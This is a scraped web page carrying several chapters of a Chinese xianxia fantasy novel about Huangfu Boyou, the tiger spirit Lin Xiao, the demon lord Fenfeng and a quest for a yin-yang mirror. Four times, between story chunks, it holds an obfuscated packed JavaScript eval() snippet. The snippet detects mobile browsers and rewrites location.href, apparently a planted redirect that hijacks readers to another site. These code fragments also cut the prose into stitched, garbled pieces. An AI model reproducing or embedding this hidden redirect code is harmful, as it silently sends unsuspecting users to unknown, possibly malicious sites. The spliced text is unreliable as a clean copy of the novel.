;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15514061|170601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又被打开了。 “这镜灵还妄图欺瞒本座,阴阳镜本来就有复活亡者的能力,故而照射巫罗后,他能起死回生,本座也能打开秘境,这岂不是两全其美?”焚风魔君张狂大笑起来。 忽然,灌木丛轻轻晃动,一只老虎探出脑袋。蓬松的皮毛泛着漂亮的橘纹,琥珀色大眼睛湿漉漉的,可它一瞧见皇甫伯游,眼睛立马亮起来,摇着扫帚似的大尾巴跑来,低头在他怀里直蹭。 皇甫伯游鼻子一酸,紧紧搂住老虎毛茸茸的脖子。温热的呼吸喷在脸上,熟悉的气息裹着山林味道,眼眶顿时就红了。 “阿啸,你怎么样?”皇甫伯游关切问道。 “伯游,我没事,只是不知为何,不能化作人形了,我留的纸条你看了么?”林啸问。 皇甫伯游点点头。 “那日胡彤儿请我去相助时,我就觉得此事不寻常,于是提前服下了化蛊丹、避毒丹,没想到果然起了作用。没被少兰的魅术和催眠术蛊惑,只是也因此被他们化出影身,我本体却昏迷不醒。” “期间我醒来过,见过巫罗几面,他告诉我,需要借用我先天灵胎之力,救助少衡。听闻少衡的事迹后,我觉得少衡当的起义士二字,故而答应下来。因此,后来躺在密室,是我的意愿,算不得魅妖族人逼迫。” 林啸缓缓解释完,靠在皇甫伯游身侧,蹭了蹭对方的肩膀,“伯游,我不怪少兰,你也莫要怪她。” 皇甫伯游皱眉将头转向另一边,不吭声。 “你倒是大度,若是本座,定然要杀死少兰与巫罗泄愤!”不知何时,焚风魔君已经走到两人跟前,面上尽是嘲讽。 “只知道杀戮,你可真肤浅!”林啸忍不住吐槽。 “肤浅?”焚风魔君挑眉,“你是不知道本座的雄心壮志!” 焚风魔君的表情,似乎是期待别人问他的抱负是什么,但林啸偏偏不让他如愿。 林啸转头又蹭了蹭皇甫伯游,看向远处靠着树干休息的涂山桥:“伯游,涂山桥是我的分身,我觉得很是对不住他。” “为何?”皇甫伯游不免好奇。 “这些年我虽昏迷,却能听到大家在密室中说的话。”林啸解释说:“因我不受控制的缘故,才炼化出涂山桥,涂山桥本就是被创造出来刺杀焚风魔君的工具。” 林啸继续说:“如果换做我,要修习魅术,诱惑眼前这魔君,我也恶心死了……” “你这话什么意思?”焚风魔君忽地踏前半步,玄色衣袂带起林间残叶。他挑眉冷笑,眉眼间透出几分较真:“说什么‘诱惑’‘恶心’,难不成在你眼里,本君不够俊美?不够威风?” 林啸依然不理会焚风魔君,继续刚才的话题:“人若出生之始,就被设定一个内心抗拒的命运,想拒绝还被冠以不孝不义。任是谁,也会不舒服。” “好歹回句话!”魔君见他不理,黑袍猛地鼓胀起魔气,“凭什么说我恶心?” 下一秒又忽地收了气势,弯腰盯着虎头:“小畜生,进了这秘境,何时能走可由不得你。若想出去——”他故意拖长尾音,指尖虚点老虎鼻尖,“就乖乖讨本君欢心。不如求我收你当坐骑,说不定心情好了,还能赏你个痛快。” 12. 阴阳 林啸颇为嫌弃地看了焚风魔君一眼:“没有灵兽会想当你的坐骑!” 这戳中了焚风魔君痛处:“此话怎讲?” “你杀气太重,灵兽能看出来,自然会畏惧你。”林啸简略回答。 “这些畜生懂什么?本座可以用杀戮创造一个新的世界!”焚风魔君自负说道。 林啸垂眸凝视着眼前的焚风魔君,声音带着几分清冷:“沉溺于虚妄的人,总妄图用毁灭重建的方式逃避现实。你不是在重塑世界,不过是在为自己的怯懦找借口。” 焚风魔君闻言,面上表情片刻凝滞,随即愤怒,显得有几分狰狞,“你身为本尊,有什么资格说我们?身为影身,我们一出世,就会背负特殊的使命,这个使命牢牢印在脑子里,根本无法抗拒!” “我一出世,就知道自己是那位古魔的影身。他在神魔大战中受了重伤,临死之际,利用烛九阴之力创造出了我。” “那位古魔为神魔境后期,他的分身自然也有神魔境中期修为,我一出世就知道要继承他的遗志,将人间炼化为魔界。” “可笑的是,我一经问世,什么都没有做的时候,那些古神就将我封印了。所以我被镇压在焚风洞上万年。” “直到百年前,魔界又经历一轮星辰陨落、日月无光、天塌地陷时,我才从熔岩缝隙中破封印而出。” “本座那时虽修为跌落至天境初期,但几十年功夫,就修炼至神魔境后期。不仅如此,本座在被镇压万年的孤寂时光里,悟出了一番修行的道理,自创焚风魔功。” “只要有人肯修炼焚风魔功,天姿上佳者,也能获得神魔境修为。资质一般的,也可以靠“夺灵”之术,一步步提高境界。” 皇甫伯游和林啸听到这里,对视一眼,“夺灵”之术,听起来就是邪术。 皇甫伯游回忆起来,近十年来,所降伏妖魔无数,其中镇压到度朔山的上百妖魔,皆声称追随焚风魔君,其境界都达到天境中期及以上。 按道理,不应当突然冒出来这么多高阶妖修、魔修,同时为祸人间。莫非,这些妖魔都修习了“夺灵”之术?” 焚风魔君看到皇甫伯游和林啸略带惊疑的眼神,忍不住哈哈大笑,“不错,近年来突然出现的高阶妖修魔修,大多都修习了本座的焚风魔功。” “可这有什么稀奇,被吸食灵力的人,因为神魂缺失,六神无主,都会听命于妖魔。这才是本座的目的。修习“夺灵”之术的妖魔越多,沦为妖魔傀儡的人类就越多。这样下去,人间早晚会沦为魔界的下界。哈哈哈……” 说完,又转头看了看林啸:“可惜啊,小老虎,你不做本座的坐骑,就看不到这等光景了。” 林啸感觉对这魔头无话可说,虎头一扭,拒绝看这个变态! “既然魔君的“夺灵”之术如此高明,又为何费尽周折来烛龙秘境?”皇甫伯游见焚风魔君对林啸微微有些怒意,连忙转移其注意力。 “本座来此,不过是求证一件事罢了。”焚风魔君负手而立,似乎对一切都已胸有成竹。 “依贫道看来,焚风魔功并不似那般厉害,而且魔君修炼其实已经达到瓶颈,甚至生出的破绽愈加难以控制,故而才需要来烛龙秘境修复。” 皇甫伯游试探说出推测,其实他并不清楚,只是此前听涂山桥提起过,一是焚风魔君修为稳定在神魔境后期已经多年,二是焚风魔君在与天狼一战后,内丹破损生出缝隙,后来又被少衡种下魅丹,恐怕并未修复完好。 “横竖你们是将死之人,告诉你也无妨。”焚风魔君张狂大笑起来:“烛九阴陷入沉睡之前,将双目蕴涵灵力炼化为两面铜镜,交给众神。” “这两面铜镜之一,任何神仙妖魔被照射后,都会不由自主产生一个与本尊相似的分身,叫做影身。影身从出生这一刻开始,就会无条件听命于创造他的人。这面铜镜,自然就是双鸾。” 焚风魔君说到这里,下意识举起铜镜给两人看了看。 “另一面铜镜,被藏在了烛九阴秘境,这件更了不得。它与双鸾铜镜互为阴阳,可以使影身脱离控制,变成一个真正的人。” “本君一但成为真正的人,修为定然不会限制在神魔境后期,突破混元古魔境定然指日可待。” 皇甫伯游听到这里,心下大惊,暗想绝不能让焚风魔君得到那件秘宝,否则后果不堪设想。 林啸听到这里,转头看向涂山桥,却见对方出神地正望着这边,目光中流露出几分期许的神色。 “既然影身变成独立的人,那原身又会怎样?”皇甫伯游皱眉问道。 “不清楚。”焚风魔君一脸无所谓:“反正我的原身在神魔大战时早已身亡。” “既然脱离影身如此重要,魔君为何不早点行动,竟然如此有耐心与我等费力解释?”皇甫伯游有些不解。 “只有烛龙之光出现时,才能顺着双鸾镜指引找到另一把阴阳镜。”在一旁沉默许久的巫罗结束打坐,起身解释说。 刚刚大家一直在忙,皇甫伯游直到现在才仔细打量巫罗。 巫罗虽说是已死的神魂久留体内,但看起来生气很足,面色苍白不假,然而一双眼睛极其明亮有神。 不过涂山桥与少兰,看到巫罗站起来说话时,脸上表情俱是一僵,尤其是少兰,眼神中的讶然久久无法平息。 “都说这两件烛龙古宝,一面是阴镜,一面是阳镜。阴镜大家都见过了,正是双鸾姑娘,可以使人产生影身,还能够起死回生。”巫罗继续解释说。 “另一面阳镜,就是魔君接下来要找的宝物。传说阴镜与阳镜之间,会存在天然的吸引力。烛龙之光出现时,两面镜子之间,会有光束相连。因此魔君想找到另一把阴阳镜,并不难。只是……” “只是什么?别啰啰嗦嗦,赶紧交代!”焚风魔君耐不住性子催促。 “只是还没有人用过阳镜,魔君还是慎重一些比较好。”巫罗建议。 “慎重?本座用不着慎重!一切后果我都能担得起!”焚风魔君大笑,眼前众人与他敌对,怎会听这些人所言。 皇甫伯游眉头紧蹙,他知道巫罗不可能好心劝阻焚风魔君,而且焚风魔君为人自负,恐怕越是劝解,就越要反其道而行之。 想到这里,皇甫伯游也附和巫罗说:“巫罗大人说得有理,毕竟此前没人用过阳镜,料想定然有些凶险,魔君三思!” 涂山桥、少兰此时亦点头称是。 林啸看在眼里,十分疑惑。怎么这群人突然变了?于是歪起头,看了看皇甫伯游,后者见状,轻轻拍了拍他的头。 “天色还早,离烛龙之光出现还有段时间,大家还是静坐调息,养精蓄锐罢。”巫罗又建议说道。 于是皇甫伯游、少兰、涂山桥纷纷附议。 焚风魔君向来喜欢特立独行,故而非但没有静坐调息,反而去密林中闲逛了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15514062|170601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 林啸满心疑惑,实在想不通,为何皇甫伯游此番与他相见,话语竟如此寡少。 片刻后,推测焚风魔君已经走远。 巫罗、少兰、涂山桥三人收功起身,缓步走到林啸与皇甫伯游跟前。 皇甫伯游也恰巧收了玄功,举止优雅地请三人落座,准备商议要事。 涂山桥打趣:“上仙请我三人落座,可这里山高林密,哪里有桌椅板凳?” 皇甫伯游笑了笑,转头看向林啸。 林啸立刻明白他的意思,开口问少兰:“我的储物袋你还拿着吗?” 少兰连忙递给林啸,林啸还是老虎形态,叼起储物袋,隔空甩给皇甫伯游。 皇甫伯游默契地接过储物袋,从里面找出几个蒲团扔了出来。 这些蒲团编织得细密紧实,上面还铺着柔软的布垫,坐上去十分舒适。涂山桥见状,礼貌地夸赞了几句。 “不必客气,你若喜欢,我以后多送你几个蒲团。”林啸声音微微有些羞涩。 “这蒲团竟然是林兄编的?”涂山桥有些惊异,因为他手笨,学不会编这个,他还以为原身也不会。 “不是我,是伯游编的蒲团,不过上面的布垫子是在下的手艺。”林啸回答。 “林兄会做针线活?”涂山桥仍然有些吃惊,没想到林啸一只男□□妖居然会做针线活。 “会是会,不过布垫子里面是我褪下的毛。”林啸微笑回答。 此时,已经安稳坐下的涂山桥、少兰和巫罗听闻此言,脸上俱是一僵,神色有些尴尬,坐也不是,立也不是。 “哈哈哈,逗你们的,垫子内塞的是木棉。”林啸见状大笑。 “阿啸,你又在淘气了。”皇甫伯游略带责怪地看了林啸一眼,随即问对面的三位,“你们喜欢喝什么茶?” 涂山桥大惊,没想到储物袋的东西居然如此齐备,高品质的储物袋能容万物不假,没想到这么有生活气息:“这储物袋里有多少种茶叶?” “大概七八种。”林啸昂起头骄傲地回答,一张虎脸上露出几分得意:“茶具也有很多种,你们喜欢什么颜色的瓷器?” “随便吧,谈正事要紧!”少兰说道。 皇甫伯游拿出林啸最喜欢的青瓷和枣茯茶。 又拿出一个茶炉、茶壶,些许木炭,甚至一个装满水的葫芦。 涂山桥见状大惊,问林啸:“你是怎么做到在储物袋里面放这么多东西的?” 林啸蹭了蹭皇甫伯游:“伯游哥给我烤个芋头。”然后转头趴下,回答涂山桥:“因为我年轻的时候,曾不小心掉落到一处秘境,那秘境里什么都没有。那时我的修为虽已是天境中期,但储物袋里只有书籍灵草灵药符纸,我无聊了只能吃草吃药。我还在里面被关了一百多年。那时我就发誓,要把所有需要的东西都放进储物袋!” 涂山桥沉默片刻:“我觉得我跟你不像。” 林啸:“你也做不到我这般心思缜密吧!” 涂山桥:“……” 林啸:“你怎么不说话了,咱俩不应该心意相通,无话不谈吗?” 涂山桥:“没这规定吧……” 林啸:“你觉得老虎可爱吗?” 涂山桥:“不觉得。” 林啸:“可我觉得狐狸很可爱,你快变成原型让我撸一撸。” 涂山桥向后一跳:“我拒绝!我跟你不熟!你谁呀!” 13. 等待进入网审 涂山桥身上的锁链虽已尽数除去,可伤势尚未痊愈,苍白的脸色与微微发颤的指尖都在无声诉说着身体的虚弱。林啸见状,抬爪示意对方靠向自己,却换来涂山桥警惕的眼神与干脆的拒绝。 被拒后的林啸非但没有识趣地收手,反而兴致愈发高涨,眼中闪烁着探究的光芒:“诶~,你不是最擅长魅术么?怎么不对我施展试试?快让我见识见识!”话音未落,涂山桥飞快腾起身插入少兰与巫罗中间,直接席地而坐。 涂山桥:“我怎么会是你的影身!?” 涂山桥一向爱干净,此时席地而坐,明显是被逼急了。皇甫伯游知道这一点,连忙让林啸停下。 “阿啸,你到我这边来,你现在是原型,不方便喝茶吃东西,我来喂你。” 林啸闻言,立即走到皇甫伯游身边趴下,随即慵懒地打了个哈欠。 “双鸾姑娘在秘境中无法现身,但她可传音与我,她说焚风魔君在几百里外的山林里闲逛,不必在意。大家有什么见解,趁现在赶紧说。”少兰说道。 涂山桥神色凝重地解释:“这魔头性情古怪至极,日常除了闭门修炼、肆意杀戮,便是热衷于抓捕灵兽充作坐骑。我耗费三年时间暗中调查,竟未发现他有任何亲友,也毫无风月之好,对男女之情皆无沾染。正因如此,想要成功刺杀魔君,我实在没有十足把握。不过,根据刚才的情况,他的确对自己是影身这件事尤为在意。” “可若是如此,少衡当初为何大费周章给焚风魔君种下魅丹?”皇甫伯游有些不解,毕竟少衡此举可以说不仅搭上了自己的性命,更是引得焚风魔君将怒火撒到罗刹谷。 巫罗叹息一声:“因为根本没有魅丹这种东西!” “什么?”涂山桥闻言大惊:“那我这些年苦练魅术有什么用?” 连少兰听闻后也面露惊讶:“怪不得,阿衡与我都是天境后期,传闻魅妖修至玄妖境才会产生魅丹。可巫罗大人你怎知……” “阿姊,我是阿衡。”少衡失声笑了笑。 在场之人大惊,这是怎么一回事? “别忘了,双鸾是阴阳镜种的阴镜,传闻有起死回生之能。但人死岂能复生,焚风魔君将铜镜照射巫罗大人时,我的神魂就被摄入巫罗大人躯体。” “巫罗大人寿元早已走到尽头,只是当初的“不遇传人不得安息”的誓言仍在,因此魂魄滞留在身躯内多年,可这样也会导致魂力在不停消耗,等什么时候撑不住,也就魂飞魄散了。” “这些年多亏林啸借与我灵力,我的魂魄也修复得差不多了。因此,被摄入巫罗大人体内后,他仅存的神识告诉我,巫术的传承存在识海内,我就是他巫术传人。如此,他不仅达成了寻找传人的誓言,也完成了复活我的嘱托。随后便消散了,说起来,我该称他一声师父。” “方才我与兰姐姐就感知到你身上有魅妖气息,还觉得奇怪,原来竟是衡哥哥!”涂山桥声音不自觉上扬,听得出来看到少衡复活十分欣喜。 此时,少兰早已热泪盈眶,忍不住抱住少衡,端详良久。 “可惜了,你以前生得那般俊秀,比阿桥也不差几分。如今这躯体面色太过苍白,得好好将养些时日才好看。” “阿姊,我们先谈正事罢。”少衡推开少兰说道。 “少衡长老,若你喂下焚风魔君的不是魅丹,又是什么?”皇甫伯游问道,少衡是魅妖族长老,如此也算尊称。 “不知上仙可听说过情毒?” “情毒?!”皇甫伯游和林啸齐齐惊呼。 “情毒是什么了不得的东西吗?”涂山桥见两人反应这么大,有些奇怪。 一千多年前,魔界当时的情魔将情毒洒在天界,许多神仙中招,动凡心者不在少数。 幸亏当时太上老君识得是情毒,并知晓解药太上忘情丹如何炼制,当时皇甫伯游和林啸还奉东华帝君之命寻过炼丹材料。林啸当时被妖魔算计,在一处孤寂荒芜的空间待了一百多年。 后来,情魔还将情毒洒到瑶池,被西王母派遣的白虎神将和紫府派遣的皇甫伯游合力诛杀。 只是没想到,会再次听到情毒,故而两人有些失态。 皇甫伯游简略讲完来龙去脉,忍不住提出质疑:“情魔百年前早已离世,少衡长老的情毒又是来自何处?” “是现任情魔,也就是前代情魔的唯一传人——辛青。”少衡说道。 “辛青是长老会的人,有一次,我带天马兽出去吃草时,碰到了他。他声称修习的功法可以感知人的七情六欲,还说一眼就看出我对焚风魔君恨之入骨。但下毒暗杀诅咒这些手段对焚风魔君根本不管用。” “我当时就有些惊讶,因为我已经偷偷给焚风魔君下过蛊毒,的确不管用。而且我平日伪装的很好,此人一见面就道出我的心事,令我十分意外。” “辛青又说焚风魔君虽是神魔境后期,他却能感知到焚风魔君情欲上有个缺口,推测自己师父炼制的情毒或可一试。” “我刚开始并不打算信他,但我后来偷偷给焚风魔君下诅咒,依然无济于事。再加上焚风魔君搜查诅咒法器时,辛青帮了我,于是我逐渐开始信任他。” “为了验证效果,我还偷偷在阴溟魔君身上下了情毒。不久后听闻,阴溟魔君竟然看上了焚风魔君魔宫的一位侍女。还请求焚风魔君将侍女赏赐给他,焚风魔君开玩笑说阴溟魔君倘若归顺于他,就让出侍女,没想到阴溟魔君竟然真的要归顺焚风魔君。” “经过此事,我觉得情毒当真神奇,所以才趁着那次与焚风魔君对饮聊天,将情毒下到酒中。后来的事情,想必大家都知道了。” 在场众人听了,都有些唏嘘感慨。只有林啸不明所以,但是不敢吭声,只好默默地啃芋头。 涂山桥自嘲地笑了笑:“衡哥哥,你当初为何不肯实言相告,为何偏偏假借魅丹之说?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15514063|170601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毕竟若无魅丹之说,少兰便不会寻找天境后期的俊美修士,涂山桥也就不会被创造出来。 “实在对不住,阿桥。因为我太过了解焚风魔君。”少衡惭愧说道:“焚风魔君此人极度自负,他没有亲友,内心却渴望陪伴与关怀。因此,若下的是魅丹,为了彰显自己法力高强不受魅惑,他虽不至于被魅惑,私下里却会期待遇见那个让令他心动之人。” “所以事后,焚风魔君来罗刹谷掳走的,是不是都是容貌姣好的族人?”少衡笑问。 少兰点点头,经少衡这么一提醒,才意识到焚风魔君掳走的,无论男女,都是相貌出色的族人。 以焚风魔君地作风,若不是对此抱有期待,可能就会屠尽罗刹谷所有生灵了。 “阿衡,你竟然如此了解焚风魔君,想来潜伏魔界这些年,受了不少委屈罢。”少兰关切地问。 “阿姊放心,焚风魔君虽然暴虐嗜杀、喜怒无常、刚愎自用、残忍多疑,但其实心思很简单。况且后来为了助我下情毒,辛青还传授我一些感知人情欲的法术。所以,我极其善于揣测焚风魔君的心情行事,当时魔宫其他人还暗地里骂我谄媚小人呢。”少衡笑着解释。 少兰点点头,随即又突然有些心绪不宁:“糟了,等我们离开秘境后,焚风魔君会不会再去谷中掳走一些族人?” “少兰长老放心,我已做好了安排,”皇甫伯游安慰说:“来秘境之前,我把葫芦留在了洞中,那三位涂山狐妖族长老料想现在已经出来了。以他们的经验,定然知道要带领其他人离开罗刹谷。” 少兰闻言,轻轻舒了一口气,放下心来。 “可中了情毒又会怎样?情毒也不会令人致死。”林啸啃完了芋头,感觉思绪有点跟不上,听了半天忍不住问道。 “动心之后,情毒会使人修为跌落。只要焚风魔君境界跌落,诛杀他并不是什么难事。”皇甫伯游解释说。 毕竟皇甫伯游是在场唯一太乙金仙境修士,众人见他如此说,便料定这位上仙定然有几分把握。 “可是伯游,若焚风魔君真的能找到另一面阴阳镜怎么办?他若突破到混元古魔境界,你还有几分把握?”林啸难得说话语气如此认真。 “阿啸放心,我自有分寸。”皇甫伯游抬手摸了摸林啸的虎头,轻声安慰。 林啸摇摇头:“我们得先一步找到另一面铜镜才行,少兰长老,你不是能与双鸾传音么,可否问问她,现在能不能感知到另一面铜镜在哪里?” 众人纷纷颔首,一致认可这提议可行。涂山桥目光微诧,看向林啸的眼神里多了几分审视:“倒是小瞧你了,原以为……” “别门缝里看人!”林啸截断对方话语,扬了扬下巴,“我可不傻。” 皇甫伯游望着这一来一回的交锋,唇角不自觉勾起笑意。到底是同源而生的存在,即便行事风格迥异,却总能在关键时刻达成默契,连思考的步调都如此相似。 14. 幻境 “好,我问一问双鸾。”少兰心领神会,当即阖目凝神,试图与镜灵双鸾建立沟通。 趁此间隙,皇甫伯游取出一把木梳,指尖拂过梳齿,轻柔地为林啸梳理毛发。林啸惬意地倚靠着对方,半阖着眼睑,蓬松的尾巴在身后有节奏地轻摆,显然正享受着这片刻的舒适。 “阿啸,这次为何不化作人形?”皇甫伯游手中动作不停,突然开口询问。 林啸仰头看向他,琥珀色眼眸微微眯起:“伯游哥,你不是最爱我这副原型模样?” “每次这么叫我,准没好事。”皇甫伯游动作骤然停顿,挑眉注视着他。 林啸无奈叹了口气,终于吐露实情:“原本巫罗只是循序渐进地引导我向少衡魂魄输送灵力,谁料阴阳镜一照,灵力输送过量,如今我连化形都成了问题。不过境界尚在,等离开秘境,回凤凰山潜心修炼三五年,修为自会恢复。” “你储物袋里不是还有聚灵丹、补髓丹、养元丹?服用这些丹药可有帮助?” “应当能起作用。” “那就好。”皇甫伯游边说边翻找储物袋,突然眸光一亮,“这里还有高阶灵草!阿啸,对你的伤势必定大有裨益,快服下些。” 林啸脑海中瞬间闪过儿时被天琅逼着吞食药草的惨痛回忆,下意识用爪子捂住嘴,往后缩了缩:“不,伯游……” 少兰的声音适时切入两人的嬉闹:“双鸾说,寻得另一面镜子并非难事,只是那处险象环生……” 话音未落,皇甫伯游已敛去笑意,周身气质陡然转肃:“不碍事,镜子在何处?我即刻前往。” 须臾间,众人御空至一处湖畔。灵力未复的林啸伏在皇甫肩头,前爪搭住他的肩膀借力飞行。这奇特的姿态引得涂山桥频频侧目,目光中尽是诧异。 湖面泛着幽蓝光晕,清透得仿若琉璃镜面,深可见底的湖水中却不见半尾游鱼、半株水草,澄澈得近乎诡异。更令人惊异的是,湖水氤氲着浓郁灵力,自岸边便能清晰感知灵气如袅袅青烟般升腾而起,在水面上织就一层若隐若现的淡金色光晕。 众人自然能察觉这充盈灵力,皆不由自主地缓步靠近。闭目凝神,轻吸一口气,只觉灵力顺着鼻腔沁入丹田,仿佛修为都在这一呼一吸间悄然精进。 林啸近来灵力匮乏,见状难掩急切,疾步上前俯下身去,鼻尖几乎触及水面,喃喃自语道:“不是说此处险象环生?这般福地,哪有半分危险?” 就在林啸全神贯注吸纳灵力之际,湖面骤然腾起氤氲水雾,如同一层薄纱将他悄然笼罩。他沉浸其中,对周遭异变浑然不觉。 “阿啸,小心!”皇甫伯游见状,脸色骤变,急切地大声呼喊。 然而,一切都太迟了。那团裹挟着林啸的雾气翻涌扭曲,转瞬之间,连同林啸的身影一同消失得无影无踪。 涂山桥眉头紧锁,看向少兰,眼神疑惑:“这是怎么回事?” 少兰的脸色瞬间变得煞白,声音里满是惊慌:“不好!焚风魔君察觉到我与双鸾传音,已经设下禁制,我现在联系不上她了!” 稍作停顿,她继续说道:“双鸾之前跟我说过,谁能通过幻境试炼,谁就能得到这面阴阳镜。但要是通不过,就会被困在湖底,陷入无尽的沉睡。” 皇甫伯游听完,神色凝重,当机立断道:“我去湖边看看幻境的情况。焚风魔君一心想找另一面阴阳镜,你们先离开,他不会追来。” 涂山桥目光如炬,语气铿锵:“上仙,焚风魔君既已洞悉我们的刺杀图谋,断不会轻易放过。横竖都是死路,不如一同去探查!” 皇甫伯游深深凝视着涂山桥,对方眉眼间与林啸如出一辙的轮廓,让他心中柔软起来。虽说涂山桥身为狐妖,更加精致妩媚,但此刻,若林啸真的凶多吉少,他心底竟生出一丝期盼——盼着眼前这人作为阿啸的影身继续存在。 想到此处,皇甫伯游唇角微扬,露出一抹复杂笑意,随即掌心运力,轻轻一挥,涂山桥便软软瘫倒在地,陷入昏迷。 涂山桥原本是天境后期,不至于如此不禁打,只是一来没有戒备,二来重伤未愈,故而不小心着了道。 皇甫伯游扶涂山桥倚靠着树干,转身看向少兰与少衡,神色凝重道:“幻境试炼专攻人心弱点,我们仙道修士每破一关,皆要直面心魔纠缠。若我也折在此处,二位万不可贸然涉险。” 少兰颔首示意,少衡亦是沉默不语。他们深知,身为妖修魔修,本就难以应对这种直指心境的严酷考验,贸然踏入只怕凶多吉少。 皇甫伯游毅然转身,迈向湖面,不多时,湖面水雾腾起,随即一个漩涡出现,人与雾气一并消散。 …… 林啸悠悠转醒,入目是一片葱郁山林。山风裹挟着草木清香拂过,鸟鸣婉转,古木参天,恍惚间竟与记忆中的凤凰山有几分相似。 远处传来若隐若现的剑鸣破空声,林啸心头一颤,朝着声源狂奔而去。穿过层层密林,眼前的场景让他呼吸一滞——天琅与陆蒙二人正在林间对剑,剑光交错间,熟悉的招式与往昔如出一辙。 儿时的记忆如潮水般涌来。那些年,他跟着陆蒙与天琅生活,从修行练剑、读书识字,到扫地做饭、采药行医,两位兄长倾囊相授,既是师长,更如严父慈父般照料他成长。 而此刻,本该失踪多年的天琅、寿元已尽的陆蒙,竟活生生站在眼前。林啸眼眶瞬间发烫,震惊与狂喜交织,几乎不敢相信自己的眼睛。 阔别多年的面孔近在咫尺,林啸怔怔伫立,目光牢牢锁在二人身上,仿佛一移开视线,眼前景象便会消散。 剑光棍影交织间,天琅手腕轻抖,剑锋如灵蛇般缠住陆蒙的棍影,只听“当啷”一声脆响,木棍脱手飞出,跌落在青石板上。 “瞧瞧你这身手,”天琅收剑入鞘,笑意中带着几分促狭,“还惦记着替扶摇女神报仇?连我都过不了招,拿什么去对付那些穷凶极恶的妖魔?老规矩,什么时候能打赢我,再谈离开凤凰山的事。” 陆蒙弯腰拾起木棍,轻哼一声:“还是这么冒失!” 天琅挑眉,眼中闪过狡黠:“我怎么冒失了?输了不认账?” 陆蒙轻叹一声,动作轻柔地走到林啸跟前。宽厚的手掌抚过他的头顶,又轻轻刮了刮下巴,转而朝着天琅投去责备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15518868|170601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的目光:“你瞧瞧,这棍子都飞到哪儿去了?险些砸到阿啸!” 天琅大步走来,脸上笑意不减,随手在林啸背上揉了几把,将毛发弄得凌乱:“阿啸都这么大只了,早就不是当年的小老虎。真要有危险,他机灵着呢,还能躲不开?你说是不是,阿啸?” 林啸仰起脑袋,虎目亮晶晶的:“当然躲得开!我就爱蹲在这儿看你们练剑!” 天琅朝陆蒙投去一抹得意的笑,又蹲下身与林啸平视:“对了,你偷摸躲林子里练的化形术,练得如何了?每次想瞧瞧成果,你都害臊得直甩尾巴。” “早成啦!”林啸话音未落,周身泛起莹白光雾。雾气消散时,原地已立着个十四五岁的少年——眉眼还带着几分稚气,笑起来虎牙微露,正是他化形后的模样。 天琅围着化形的少年打转,夸张地拍手笑道:“哎哟!这是哪家的俊俏小哥?不枉费我费劲口舌教导!我还生怕你照着我的模样变,到时候带出门,别人问起,我可得费尽口舌解释咱俩没血缘关系!” 林啸闻言展颜一笑,多年来,他的确听到过很多人夸他相貌,但还是喜欢天琅大哥和陆蒙大哥夸他。 “阿啸,”陆蒙忽然开口,“伯游今日要来,还说准备了礼物,你想好回赠什么了吗?” 林啸如遭雷击般僵在原地。记忆的齿轮轰然转动——自皇甫伯游随东华上仙奔赴天界,他们因种种机缘错失,一晃便是数百年未见。后来在琅嬛阁的偶遇,彼此容颜已改,那场阴差阳错的误会,至今仍历历在目。 冷汗顺着脊背滑落,他终于意识到眼前的一切都是幻境。然而心底却涌起一股莫名的期待——若时光真能倒流,在懵懂少年时便与伯游相识,又会是怎样一番光景? 林啸垂眸思索片刻,声音带着几分迟疑:“我……我还没想好,要不把之前捡的那些好看小石头送给他?” 陆蒙抬手轻敲他的脑袋,语气半是嗔怪:“傻小子,都过去几年了,伯游早就不是小孩子,哪还会稀罕这些石头?” “可我也没别的拿得出手的……”林啸眼睛突然一亮,“要不送他一罐蜂蜜?”记忆中,年少时的自己为了尝到香甜的花蜜,特意跟着村民学会了养蜂,那些在蜂箱前忙碌的时光,此刻竟格外清晰。 天琅笑着揽过他的肩膀,眼底满是纵容:“放心,只要是你送的,伯游肯定喜欢。你们可是最要好的朋友啊。” 